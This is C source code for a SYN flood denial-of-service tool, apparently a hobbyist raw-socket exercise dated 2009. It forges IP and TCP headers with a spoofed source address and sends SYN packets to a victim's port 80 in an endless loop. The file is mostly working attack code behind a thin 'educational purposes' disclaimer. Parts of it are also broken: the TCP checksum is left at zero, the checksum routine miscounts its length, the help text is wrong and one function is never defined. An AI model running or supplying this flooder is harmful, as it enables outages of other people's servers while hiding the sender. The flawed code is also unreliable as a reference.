/**
* SYN flooder , practice #2 for raw sockets.
* Author: acidh4cks.
* Date: 05/09/2009
*
* This was made only for educational purposes.
* I get rid of all kind of responsabilities.
*
* USE AT YOUR OWN RISK
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

void showHelp(char *name);
unsigned short checksum(unsigned short *addr, int len);
u_long resolve(char *hostname);

int main(int argc, char **argv)
{
    int sockfd;
    int argument;
    int times = 1;
    int packet_size = (sizeof(struct iphdr)+sizeof(struct tcphdr));
    int verbose;
    int i;
    char tcpPacket[packet_size];
    char *spoofedIP = NULL;
    char *victimIP = NULL;
    struct sockaddr_in connection;
    struct tcphdr *tcp;
    struct iphdr *ip;
   
    //TODO: Make it functional.
    verbose = 0;
   
    if (getuid() != 0) {
        fprintf(stderr, "%s: root priviledges needed\n", argv[0]);
        return -1;
    }
   
    //Capturing parameters
    while ((argument = getopt(argc, argv, "hvs:d:")) != -1) {
        switch(argument) {
            case 'h':
                showHelp(argv[0]);
                return -1;
                break;
            case 'v':
                verbose = 1;
                break;
            case 's':
                spoofedIP = optarg;
                break;
            case 'd':
                victimIP = optarg;
                break;
            case '?':
                if ((optopt == 's') || (optopt == 'd')) {
                    fprintf (stderr, "Option -%c requires an argument.\n", optopt);
                }else {
                    fprintf (stderr, "Unknown option character %x.\n", optopt);
                }
            default:
                return -1;
        }
    }
    //The -s parameter is required.
    if (spoofedIP == NULL) {
        printf("You must specify the spoofed IP address. Type %s -h for help.\n\n", argv[0]);
        return -1;
    }
    //The -d parameter is required.
    if (victimIP == NULL) {
        printf("You must specify victim's IP address. Type %s -h for help.\n\n", argv[0]);
        return -1;
    }
    printf("Spoofed IP: %s\n", spoofedIP);
    printf("Victim IP: %s\n", victimIP);
    //Creating the socket.
    if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        printf("ERROR: Could not create socket, reason: %s\n\n", strerror(errno));
        return -1;
    }
   
    //Setting the pointers.
    ip = (struct iphdr *)tcpPacket;
    tcp = (struct tcphdr *) (tcpPacket + sizeof(struct iphdr));
   
    //Filling IP header (the checksum is left for later).
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(packet_size);
    ip->id = random();
    ip->frag_off = 0;
    ip->ttl = 255;
    ip->protocol = IPPROTO_TCP;
    ip->saddr = inet_addr(spoofedIP);
    ip->daddr = inet_addr(victimIP);
   
    //Filling TCP header.
    tcp->source = htons(6969);
    tcp->dest =  htons(80);
    tcp->seq = random();
    tcp->ack_seq = 0;
    tcp->doff = 5;
    tcp->fin = 0;
    tcp->syn = 1;
    tcp->rst = 0;
    tcp->psh = 0;
    tcp->ack = 0;
    tcp->urg = 0;
    tcp->res1 = 0;
    tcp->res2 = 0;
    tcp->window = htons(65535);
    tcp->urg_ptr = 0;
   
    //IP checksum (have to be calculated once the tcp header is full).
    tcp->check = 0;
    ip->check = checksum((unsigned short *)ip, packet_size);
   
    connection.sin_family = AF_INET;
    connection.sin_addr.s_addr = inet_addr(victimIP);
   
    printf("Performing attack... control-c to stop\n\n");
   
    //Now sending
    for (;;) {
        if (sendto(sockfd, tcpPacket, packet_size, 0, (struct sockaddr *)&connection, sizeof(struct sockaddr)) < 0) {
            printf("ERROR: Could not send data, reason: %s\n\n", strerror(errno));
            return -1;
        }
    }
    return 0;
}

void showHelp(char *name)
{
    printf("Usage: %s [-h] [-v] -s victimIP -d bcastIP [-t times]\n", name);
    printf("    -h            Show this help.\n");
    printf("    -v            Verbose mode.\n");
    printf("    -s            Spoofed IP address.\n");
    printf("    -d            Target IP address.\n\n");
}

unsigned short checksum(unsigned short *addr, int len)
{
    unsigned long sum;
    for (sum = 0; len > 0; len--)
    sum += *addr++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}